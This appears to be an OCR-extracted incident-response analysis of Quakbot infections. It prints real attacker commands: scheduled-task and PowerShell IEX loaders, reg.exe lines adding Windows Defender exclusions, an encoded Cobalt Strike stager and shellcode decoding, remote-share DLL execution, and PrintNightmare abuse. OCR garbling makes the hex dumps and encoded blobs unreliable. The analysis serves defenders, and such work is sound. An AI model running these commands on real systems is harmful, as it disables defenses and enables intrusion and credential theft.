@ OneDrive St.. Ready At 11:00 PM on 5/1/1992 - After triggered, repeat every 1.00:00:00 indefinitely. 11/4/20211:05:50 AM  11/30/1999 12:00:00 AM  The task has not yet run. (0x41303)
< >

General Triggers Actions Conditions Settings History (disabled)

When you create a task, you must specify the action that will occur when your task starts. To change these actions, open the task property pages using the Properties command.

Action Details
Stotaprogam  regavri2.exe -5 "CA\Users\MalwareL o QU

Scheduled Task action, regsvr32 execution

The malicious Scheduled Task configured to execute whether or not the user is logged on:

Name Status Triggers Next Run Time Last Run Time Last Run Resuit

® ejqugkmzj Ready At 5:03 PM on 11/3/2021 - After triggered, repeat every 10 minutes indefinitely. Trigger expires at 11/3/2021 5:15:00 PM. 11/3/2021 5:13:00 PM (©x3)

® GoogleUpda... Disabled Multiple triggers defined 11/4/2021 4:40:19 AM  11/30/1999 12:00:00 AM  The task has not yet run. (0x41303)

5 GoogleUpda... Disabled At 4:40 AM every day - After triggered, repeat every 1 hour for a duration of 1 day. 11/3/2021 5:40:19 PM  11/30/1959 12:00:00 AM  The task has not yet run. (0x41303)

(@ MicrosoftEd... Running Multiple triggers defined 11/4/2021 :53:13 AM  11/3/2021 9:53:14 AM The operator or administrator has refused the request. (|
@ . Ready At 9:23 AM every day - After triggered, repeat every 1 hour for 2 duration of 1 day. 11/3/2021 3:23:13PM  11/3/2021 4:23:37 PM The operation completed successfully. (0x0)

{® OneDrive St... Ready At 11:00 PM on 5/1/1992 - After triggered, repeat every 1.00:00:00 indefinitely. 11/4/2021 1:05:50 AM  11/30/1999 12:00:00 AM  The task has not yet run. (0x41303)

<

General Trggers Actions Conditions Settings History (disabled)

Name: ¢jqvgkmzj h
Location: A\
Author: N ':vvarel ab

Description:

Security options

When running the task,use the following user account: _ggg
SYSTEM

Run only when user is logged on

Run whether user is logged on or not b

De not store password. The task will only have access to local resources

Run with highest privileges

Hidden Configure for. | Windows Vista™, Windows Server™ 2008

Scheduled Task run as System user

In addition, we saw another form of task creation where the malicious task executes a PowerShell command

which launches FileLess execution from this registry value:

schtasks.exe /Create /F /TN "{[0-9]]}" /TR “cmd /c start /min \"\" powershell.exe -Command

IEX([System.Text.Encoding]:ASCIL.GetString([System.Convert]:FromBase645tring((Get-temProperty -Path HKCUNSOFTWARE\[Random])[Random])))”
/SC HOURLY /MO 4

The Regsvr32 process executed thanks to the malicious Scheduled Task with System User and performed a

process injection to Explorer.exe (once more). Additionally, the injected explorer process swapped two new
processes of reg.exe.

C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule; responsible for the below execution:
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(=] % regsvr32.exe (5664) Microsoft(C) Regis... C:\Windows\syst... Microsoft Corporat.. . regsvr32.exe 5 "C...
egsvr32.exe (5908) Microsoft(C) Regis... C:\Windows\Sys... Microsoft Corporat... NT AUTHORITY\ . = "C:\Users\Mal...
= gy explorer.exe (2572) Windows Explorer  C:\Windows\Sys... -Micmsoﬁ Corporat.. . C:\Windows\Sys...
= # reg.exe (3520) Registry Console ... C:\Windows\syst... | Microsoft Corporat... . C:\Windows\syst...
1% Conhost exe (215¢Console Window ... C:\Windows\Syst... | Microsoft Corporat.. CA?NC:\Windows\...

[ % reg.exe (2476) Registry Console ... C:\Windows\syst... | Microsoft Corporat... . C:\Windows\syst...
2% Conhost exe (4724 Console Window ... C:\Windows\Syst... | Microsoft Corporat.. C\?NC:\Windows\...
ﬂConhost‘exe (3288) [Console Window ... C:\Windows\Syst... . Microsoft Corporat.. . \?MC:\Windows)\...

=F

Scheduled Task process tree execution

The first Reg.exe command executed via injected explorer process:

C:\Windows\system32\reg.exe ADD “HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths” /f /t
REG_DWORD /v “C:\ProgramData\Microsoft\[RandomPath]” /d “0”

The second Reg.exe command executed via injected explorer process:

C:\Windows\system32\reg.exe ADD “HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths” /f /t
REG_DWORD /v “C:\Users\*\AppData\Roaming\Microsoft\[RandomPath]” /d “0”

E Registry Editor
File Edit View Favorites Help

[Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft d Defender\Exclusi Path 1
UserManager A |l Name Type Data
:::::éx:::me ab) (Default) REG_SZ (value not set)
WAB el C:\ REG_DWORD 0x00000000 (0)
Wallet ! \ProgramData\Microsoft\Dy 2 : ) REG_DWORD 0x00000000 (0) b
Whem 3] C:\Users\MalwareLab\AppData\Roaming\Microsoft\Pbgpagv | REG_DWORD 0x00000000 (0)
WemSve
WiMMount
Windows

Windows Advanced Threat Protection
Windows App Certification Kit
v Windows Defender
v Exclusions h
Extensions
Paths
Processes
TemporaryPaths
Features
Miscellaneous Configuration
MpEngine
NIS

Regedit view, Windows Defender excluded paths

Furthermore, concerning persistence, we have observed a run key persistence (Boot or L.ogon Autostart
Execution: Registry Run Keys / Startup Folder — T1547.001):

Registry Key Value Data

Random name

For example:

HKEY_CURRENT_USER\SOFTWARE\ regsvr32.exe -S

gbgmhjwbdat
Microsoft\Windows\CurrentVersion “’C:\Users\*\AppData\Roaming\
\Run Nnrolhjksp Microsoft\[Random]\[Random].dll””
iwigxgkbe
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The excluded paths are the same paths registered in the data of the Run key value, which means that the run key
execution avoids the Windows Defender detections, Windows Defender does not scan this path and allows the

payloads.

This action allows threat actors to run the dropped Quakbot payloads from the path added to the Defender

exclusions path:

e C:\Users\*\AppData\Roaming\Microsoft\[RandomPath]
e C:\ProgramData\Microsoft\ [RandomPath]

Moreover, the initial payloads (test.test or good.good) are overwritten in order to corrupt the artifact:

" - "
Size: 716 KB (733,950 bytes) Size: 4.00 KB (4,096 bytes)
. . - " .
Size ondisk: 720 KB (737,280 bytes) Size on disk: 4.00 KB (4,096 bytes)
Offset(h) 00 01 02 03 04 05 06 07 08 09 OA 0B OC OD OE OF Decoded text Offsec(h) 00 01 02 03 04 0 Q7 08 0% OA Decoded text
000003F0 00 00 00 00 00 00 00 0O 3 00 00 000003F0 00 00 00 O 00 00 00 00 00 00 00 00 .ereeneeenennnns
0 8 4 00 10 05 80 5 80 DE ) 20 11 41 cc 28 40 .A.p.A.1+@.0+0.
- 10 05 €8 72 4 00 E8 F4 25 40 &+8....€6+8....€
€4 7F 07 10 8D 7F 07 1 00 1 oc 40 . €
D C3 CC CC CC C CC CC 0 14 1C 20 40 .€
10 1% 0c 3 00 68 Ueii.: i3.m 00000440  2C 1 38 40 €
41 SB 04 00 23 cc 00000450 SC 1 80 2C 40 €
- oo oo e o cc 00000460 A8 2C co zC 40 €
CC cC CcC cc 00000470 EC 2C 08 2D 40 €
F7 F1 48 8B 43 SC DO 48 430G E=AHc<C.H.<BH hod 1C co &2 40
423 66 0 38 70 08 «<.H:At#f..D..:p. 20 1 Eo 40
074 12 4 = u.fx. He H; 10 EQ C4 40
o 0 co 10 D4 40
10 C6 1 BO Cé 40
[ 80 C7 1C 90 &4 40
000004EC 00 1 1C RO 28 40
000004F0 01 00 C4 41
. ) 00 00 00 00
. (?8¥H<Ey.B&. .Hc Fo &8 — 1C 30 4D 40
e¢K..Ec.fuyt! 85C 00 D1 1 FO 40
60 C1 1c &0 20
Fo C3 1 20 40 1
50 6B C BO 40
70 70 BB 40 phe.aje.
BO 1 co 40 C °»@..i@.A
00000580 S0 1C EO Ch 40 C POE.DeE.ak
00000590 €0 5C 40 °«@.DE@. "
00000SAQ S0 4E 40 \e.ave.
10 20 °N@.aNe@. .
30 40 “hE.€ke.
60 69 40 €i@..i@."
000005E0Q BO D3 40 08..08.°0
ONONASFO__ 00 A2 40 T 20 F2 40 10 .bE.R"R. bR.A

Left side: the initial payload; right side: the same payload after the overwritten action

< | Datop
Home Share View
& v > D > 0:0is (C) > Datop .
A
Name Date modified Type

s Quick access

- || test.test
%] Documents <+

[ test1.test
& Downloads o+ [ test2 test
&| Pictures *
d Music
Videos

Datop directory with the initial Quakbot payloads
The next stage of the attack is related to Outlook passwords theft. Quakbot performs this action via credential theft

functionality. We have observed an attempt to query and enumerate registry keys and values which are related to

Outlook passwords (Credentials from Password Stores — T1555).
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Processes execution flow:

Grandparent Process:

c:\windows\syswow64\regsvr32.exe C:\Datop\(test.test or good.good)

Parent Process:

c:\windows\syswow64\explorer.exe

Process:

c:\windows\syswow64\explorer.exe

Quakbot query value key (RegNtPreQueryValueKey) in order to collect data from:

Registry Keys:

HKCUASOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS
MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\*

HKCU:\SOFTWARE\Microsoft\Office\*\Outlook\Profiles\ \OUTLOOK\*

HKCUAWINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING
SUBSYSTEM\PROFILES\*

Registry values

IMAP
PASSWORD

POP3
PASSWORD

SMTP
PASSWORD

Regsvr32 (Quakbot initial loader)

Injection
(explorer.exe, msra.exe,
OneDriveSetup.exe)

schtasks.exe “/Create /RU "NT AUTHORITY\SYSTEM" /in [TaskName] /tr "regsvr32.exe -s
\"C:\Users\"\AppData\Local\Temp\[payload].di\™ /SC ONCE /Z /ST [Time] /ET [Time]

schtasks.exe /Create /F /TN "{[0-9]]}" /TR "cmd /c start /min \"\" powershell.exe -Command
IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-
ItemProperty -Path HKCU:\SOFTWARE\[Random])[Random]))) /SC HOURLY /MO 4

reg.exe ADD "HKLM\SOFTWARE\MicrosoftWindows
Defender\Exclusions\Paths" /f t REG_DWORD /v
"C:\ProgramData\Microsoft\{(RandomPath]" /d "0"

reg.exe ADD "HKLM\SOF TWARE\Microsoft\Windows
Defender\Exclusions\Paths" /f /t REG_DWORD /v
"C:\Users\"\AppData\Roaming\Microsoft([RandomPath]" /d "0"

Query registry key values:
IMAP PASSWORD
POP3 PASSWORD
SMTP PASSWORD

Execution flow of the injected process
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Technical Analysis: Discovery

The injected process also performed discovery basics commands. We have observed the following legitimate

Microsoft binaries used for the discovery execution:

e systeminfo.exe
e arp.exe

e net.exe
 ipconfig.exe
e netstat.exe

e nltest.exe
 schtasks.exe
e Qwinsta.exe

e nslookup.exe

e ToOute.exe
whoami /all
arp -a
schtasks.exe /Query /V /FO LIST /TN {*}
nltest /domain_trusts /all_trusts
gwinsta
nslookup -querytype=ALL -timeout=10 _ldap._tcp.dc._msdcs.IPER
route print
net accounts/domain

systeminfo, arp, netstat and ipconfig commands were used to gather information on the infected machine. Net and
nltest commands were used to collect information on the domain network. This information allows the threat
actors to plan the next steps to execute lateral movement and privilege escalation. The main goal at this point is to

pivot to the Domain Controller server and access the Domain Admin user.

Additionally, we have observed a new Discovery execution flow via an encoded PowerShell command:
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powershell -nop -exec bypass -EncodedCommand
JABZAGBAIAASACAATGBIAHCALQBPAGIAagBIAGMAJAAGAFMA2QBzZAHQAZQBLAC4ARAER
IpAHIAZQBJAHQAbWBYAHKAUWBIAHIAdgBPAGMAZQBZAC4ARABPAHIAZQBjAHQAbWBYA
HkAUWBIAGEACGBJAGGAZQBYADSAIAAKAHMAbWAUAGYAaQBSAHQAZQBYACAAPQAGACIA
KAAMACgAcwWBhAGOAQQOBJAGMAbLWBTAG4AdABUAHKACABIADOACAAWADUAMWAWADYA
MwhA2 ADKAKQAPACIAOWAGACOACWBVACAARGBpAGAAZABBAGWADAACACKAIABBACAAUW
BIAGWAZOQBJAHOQAIAATAFAACgBYAHAAZQBYyAHOQAQAGAEAAeWBOADOAIWBOAGEABGBIA
CcAOWAGAEUAPQB7ACQAXWAUAHAACGBVAHAAZ QByAHOQAaQBIAHMALgBZAGEABOBhAG
MAYwBvAHUAbgBOAGAAY QBtAGUATFQBIACWAQABTAE4APQANAESAUWANADSAIABFADOA
ewAkAFSALgBWAHIAbWBwWAGUACgBOAGKAZOBZAC4AbWBWAGUACgBhAHQAaQBUAGCACWE
SAHMAABIAGOATOQBSACWAQABTAELAPQANAEQAZQBZAGMACGANADSAIABFADOAeWAKAF
BALgBwAHIAbwBWAGUACgBOAGKAZQBZACAAZABIAHMAYWBYAGKACABOAGKAbBWBUAHOAT
QASAEAAewBOADOAIWEMAGEACWEBOAFQAaQBIAGUAIWATACAARQAIAHSACOWAQAFSAZAB
[hAHOQAZQBOAGKABQBIAFOACGABAEYACgBYAGOARgBpAGWAZOBUAGKABOBIACgAIABTACS
ACABYAGBACABIAHIAJABPAGUACWAUAGWAYQBZAHQADABVAGCADWBUAHOAQBIAGUACW
BOAGEAbQBwWACAALOBhAHMAIABBAHMAABYAGKAbgBNAFOAKQAUAFQABWBTAHQACGB
|PAGAAZWALACCAeQBSAHKAEQATAEOATOATAGQAZAAGAEGASAABAGOALOANACKATOQBIACW
AQABTAE4APQANAEKAUAANADSAIABFADOAewAKAFSALgBwAHIAbWBWAGUACgBOAGKAZO
BzACAAaQBWAHYANABhAGQAZABYAGUACWBZAHOATQASAEAAeWBOADOAIWBNAGEAbgBh
AGCAZOBKAEIAeQANRADSAIABFADOAewAkAFBALgBWAHIAbWBWAGUACgBOAGKAZQBZACAA
[bQBhAGAAYQBNAGUAZABIAHKAFQBIACWAQABTAE4APOQANAHAACGBpAGOAY QByAHKAZ W
ByAGEAdQBwWACCAOWAGAEUAPQBTACQAXWAUAHAACgBVAHAAZQBYAHQAaQBIAHMALGE

wAHIAaQ

The decoded malicious command:

$s0 = New-Object System.DirectoryServices.DirectorySearcher;
Sso.filter = *(&(samAccountType=805306369))”;
$so.FindAll() | Select -Property @{N="Name’;

E={S_.properties.samaccountname}},@{N="0S"; E=
{S_.properties.operatingsystem}},@{N="Descr’; E=
{S_.properties.description}},@{N="LastTime’;

E={; [datetime]::FromFileTime(5_.properties.lastlogontimestamp -as
[string]). ToString(‘yyyy-MM-dd HH:mm')}},@{N="IP’;

E={S_.properties.ipv4address}},@{N="ManagedBy’; E=
{S_.properties.managedby}},@{N="primarygroup’;

E={$_.properties.primarygroup}} | Export-csv ccccOUT.csv -encoding utfg
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Adfind.exe commands executed as part of the Discovery action:
adfind.exe -f objectcategory=computer -csv name cn OperatingSystem dNSHostName

adfind.exe -b dc=*,dc=* -f objectcategory=computer -csv name cn OperatingSystem dNSHostName

Technical Analysis: Lateral Movement

Quakbot used lateral movement techniques by abusing services (Remote Services T1021) in order to spread

Quakbot DLLs in network shared folders.

Parent Process:

c:\windows\system32\services.exe

Process:

regsvr32.exe -s \\[IP]\C$\[RandomName].dll
regsvr32.exe -s \\[[PNADMINS$\[RandomName].dll

regsvr32.exe -s \\[IP]\\print$\[RandomName].dll
Technical Analysis: Cobalt Strike Activity

We have observed Cobalt Strike execution in few forms via PowerShell Fileless script, process injection, and DLL
beacons. Cobalt Strike process injection, the injected explorer (by Quakbot) is pivoting to another process to inject
the Cobalt Strike shell code to a new process, for example, we have detected an injection to dllhost.exe by creating

a remote thread on the new injected process.

e c:\windows\syswow64\explorer.exe > c:\windows\syswow64\dllhost.exe

Injected dllhost Page Metadata:

State=4096 (MEM_COMMIT 0x00001000), Type=131072(MEM_RESERVE 0x00002000),
AllocationProtect=4 (PAGE_EXECUTE_READWRITE 0x40)

Another Cobalt Strike injected known processes which we have observed during incident response cases:
\sysnative\werfault.exe

\sysnative\regsvr32.exe

\sysnative\userinit.exe

\ sysnative\mstsc.exe

\sysnative\net.exe
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\sysnative\svchost.exe
\sysnative\gpupdate.exe
\sysnative\lsass.exe
\sysnative\searchindexer.exe

Cobalt Strike beacons — As we mentioned, the threat actors excluded two paths. One of these paths is

C:\programdata\Microsoft\:

C:\Windows\system32\reg.exe ADD “HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths” /f /t
REG_DWORD /v “C:\ProgramData\Microsoft\[RandomPath]” /d “0”

We observed that the Cobalt Strike beacons dropped to this directory:

CS beacon location:

c:\programdata\microsoft\[Random]\[Random].dllExecution command-line:

regsvr32.exe -s ” c:\programdata\microsoft\[Random]\[Random].dll”

In addition, we detected an attempt to launch Cobalt Strike Fileless execution via a malicious PowerShell

command.
Parent Process:

c:\windows\system32\services.exeProcess:

C:\windows\system32\cmd.exe /b /c start /b /min powershell -nop -w hidden -encodedcommand
JABzZADOATgBIA...=

Decoded base64 command:

$s=New-Object I0.MemoryStream(,[ Convert]::FromBase64String(“H4sIAAAAAAAAAKIWbXPaOBD...
“);IEX (New-Object 10.StreamReader(New-Object I0.Compression.GzipStream($s,
[10.Compression.CompressionMode]::Decompress))).ReadToEnd();

GzipStream decompress and FromBase64String, next stage decode command:
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y {

{
IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job

e {
IEX $DoIt

In order to decode the Cobalt Strike shellcode, we have used this section:

[Byte[l]$var_code =
[System.Convert]:FromBase64String(38uqlyMjQerGEVFHqHETqHEVGHE3QFELLIRpBRLCEUOPHOJfIQ8D4uwuluTBO3FOgHEZGEflvO0Y Tum41dplvNzqGs7qHsDIVDAH2qoF6gi9RLCEUOPAuwUuQbw 1bXIF7bGF4HV:

for ($x =0; Sx -It Svar_code.Count; Sx++) {
Svar_code[$x] = Svar_code[$x] -bxor 35

}

Via CyberChef “bake” we get the clear text shellcode, From Base64 ($var_code) and XOR key (bxor 35 hex):

Recipe ama Input

38uqIyMjQErGEVFHGHETGHE VG
w1bXIF7bGFAHVSF7qHSHIVBFGCO0qHs/ IvC016gis
JyNITKk1SSBXS2ZT/PFCONOONWdI T
LhyPSoX:
FBSTERQQEBEAEBQTFXQQRhOFIyM]

From Base64

6pnBrd4eEI6eXLcu3tBeagxyKV+EUNIYOs JHyMj
LC@xewdz2pulXTUKjSSNIT6rFo0UNgsGEASUoXICVSSNISSd
2f7§3P20S+141pHHCIqgnBENVBY

cksjkycisyoT
MDIyNxdEuOvXyY3Pamalc3
H2/DX9TSINGFOSMSUWNF hUbGWObEXYRDRAW

qGBHI6gNBYLrqicHgHCHMY

35 DECIMAL ¥

Standard [ null presening

Output a0O® &2
G&....".410d.RO.R. .R..r(
1. R. .B<.D.@x.At].OP.H.
6 .€.11A3@h. .. .hyy..J. hxesaydpé .. .Z1€Qoh.%. .h.%..5.j.3.RhEpROFOP. . $3.Rh(0)
..RyD..$.L8.9At. hdp¢vydyds. 2syfy\\. \pipe\mojo.5688.8052.35780273329370473e

CyberChef From Base64 and XOR Key 35 (Decimal)

The shellcode contains “\\.\pipe\mojo.5688.805...” string that represents the Cobalt Strike beacon pipe inter-

process (IPC) mechanism for communication by using CreateNamePipe and ConnectNamePipe.
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Cobalt Strike beacon common pipe pattern
¢ \\.\pipe\mo0j0.5688.805

The self-injected PowerShell process used a PsExec Cobalt Strike module in order to drop additional Cobalt

Strike beacons on other machines in the domain through share folders.

e \\[Host.Doamin]\admin$\[0-9]{7}.exe == C:\Windows\[0-9]{7}.exe
Technical Analysis: PrintNightmare

PrintNightmare is a Windows Print Spooler Remote Code Execution (RCE) Vulnerability (CVE 2021 34527) that
allows performing privileged file operations via Windows Print Spooler service. Quakbot threat actors
successfully exploited this vulnerability and got SYSTEM privileges execution to execute malicious code. Threat
actors exploited the PrintNightmare, Print Spooler service (spoolsv.exe), created a DLL payload in

the C:\Windows\System32\spool\drivers\x64\3\ path, the payload name spider.dIl.

Spoolsv.exe process configured the DLL payload by abusing the Printer registry key and created a new key named
“123456”.

Registry key:
HKLM\SY STEM\CurrentControlSet\Control\Print\Environments\Windows x64\Drivers\Version-3\123456
DLLs payload path:

C:\Windows\System32\spool\drivers\x64\3\spider.dll

The Print driver key contains values “Configuration File” and “Data File” with the payload DLL name (spider.dll).

Name Path Size Date Modified
spider.dll C:A\Windows\System32\spool\drivers\x64\3 356 KB 10/26/2021 9:48 AM
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B Registry Editor

File Edit View Favorites

Help

Computer\HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Print\Environments\Windows x64\Drivers\Version-3\123456

s
bdelnterfaces
btifications
1
BExtensionDatabase
hP
bwer
fint
Environments
Windows 4.0
Windows ARM64
Windows |1AB4
Windows NT x86
Windows x64
v Drivers
v Version-3
i 12385
Canon iR5020/iR6020 P
Canon iR5055/iR5065 P
Canon iR5055/iR5065-S
KIP 770K
KONICA MINOLTA 367¢
KONICA MINOLTA C36
KONICA MINOLTA Unin
Microsoft enhanced Pc
Microsoft Shared Fax D
NuancePDF
PowerPDF
Remote Desktop Easy F
XPS Printer 13
Version-4
Print Processors
Menitors

PendingUpgrades

A | Name

ab

T3] Attributes

ab)Base Driver

ab) ColorProfiles

b Configuration File

ab) CoreDependencies
ab1Data File

ab| Datatype

ab| Driver

ab) DriverDate

ab| DriverVersion
ab|HardwarelD

ab|Help File

ab||InfPath

%is] LastServicedBuild

ab| Manufacturer

ab| MinInboxDriverVerDate
ab| MinlnboxDriverVerVersion
ab] Monitor

ab| OEM URL

abPrevious Names

ab| Print Processor

8| PrinterDriverAttributes
ab| PrinterDriverlD

ab ) provider

3¢ TempDir
ab|VendorSetup

48| Version

Type

REG_SZ
REG_MULTI_SZ
REG_DWORD
REG_SZ
REG_MULTI_SZ
REG_SZ
REG_MULTI_SZ
REG_SZ
REG_SZ
REG_SZ
REG_SZ
REG_SZ
REG_SZ
REG_SZ
REG_SZ
REG_DWORD
REG_SZ
REG_SZ
REG_SZ
REG_SZ
REG_SZ
REG_MULTI_SZ
REG_SZ
REG_DWORD
REG_SZ
REG_SZ
REG_DWORD
REG_SZ
REG_DWORD

Data

(value not set)

0x00000002 (2)

_
h

spider.dl|
spider.dil
mxdwdrv.dil

01/01/1601
0.0.0.0

0x000042ee (17134)

01/01/1601

0.0.0.0

0x00000000 (0)

0x00000000 (0)

0x00000003 (3)

Regedit overview of the Evil Printer QuakNightmare

After the exploitation the QuakNightmare process (spoolsv.exe) executed CMD command:

o C:\WINDOWS\system32\cmd.exe /c cmd.exe /c C:\Users\Public\25443.exe

Final Thoughts

Our investigation is still active as we have collected more information and logs from several IR cases of Quakbot
infections. We believe that the main goals of the threat actors are to exfiltrate sensitive data and information, and
to execute a ransomware attack as we have seen in the past. In addition, we have discovered that Quakbot threat

actors abused organizational stolen email credentials to spread new Quakbot campaigns upon additional victims.

We will provide updates on any new discoveries from our ongoing Quakbot investigation.

INDICATORS OF COMPROMISE

Indicator of Compromise
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a45df331c681b7e73faf94527cd19a9de28e7f0aal10556a18cb48f7db685ce87

aff999aa8b0cb088f858429aeb0f18dd81337981f807c7aa98d95d9ddae34050

c0168eaf2e409a8d1a968e388d665b213b1f7ae232c24df90ab8731b5fd1cbbd

73249da46ad32f57b75746421ca8d96bc62ce7670a7738bfede3d086826e8a87

ef0156fd34e136841f28df011c2ecddf58ee4dcf839d25692b52e086beb98d38

511650dfa48dbeal062ba58fc65b52caacbd4b6a752e40f2c3f8c16£1273c68b

40b203a7b40ba1188d0a56a486eac6d4c289ee6ef3a32ec07c245ef44£325a95

4d1la2e62c2f1d7d9d7ef0b81152bfcc85d68bacOc7ab13b8ed6d03ae27f3dda0

6ca376cd53db43cc7781db3e03782ab28213ed722a52e0d38927d3aba516d9b6

€1262d13d3809b9d44a6829357¢305308567ae8aeca873cc33307eleda3a9615

78bccdfce650d1b0c3023ed1cf7174625e88af831865a926¢927a320c1177e10

086e81e972597d576da5e7f43f12d5814c78acc5881e6bdc58e5659ee42c264f

9e63072408a8d0e91a260ae861efb4f64b5585d61a31eeb35¢c7a2fb595198d2c[.]73[.]13[.]1148

1771.]172[.]5[.]228

181[.]118[.]183[.]27

71[.]13[.]93[.]1154

216[.1238[.]71[.131
216[.]238[.172[.]1121
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45[.19[.120[.1200
93[.148[.180[.1198
86[.198[.]1[.]1197
207[.]1246[.1112[.]221
123[.]1252[.]1190[.]14

C:\Datop\test.test

C:\Datop\test1.test

C:\Datop\test2.test
Payload Paths

C:\Datop\good.good

C:\Datop\good1.good

C:\Datop\good2.good

Source: https://www.cynet.com/attack-techniques-hands-on/quakbot-strikes-with-quaknightmare-exploitation/
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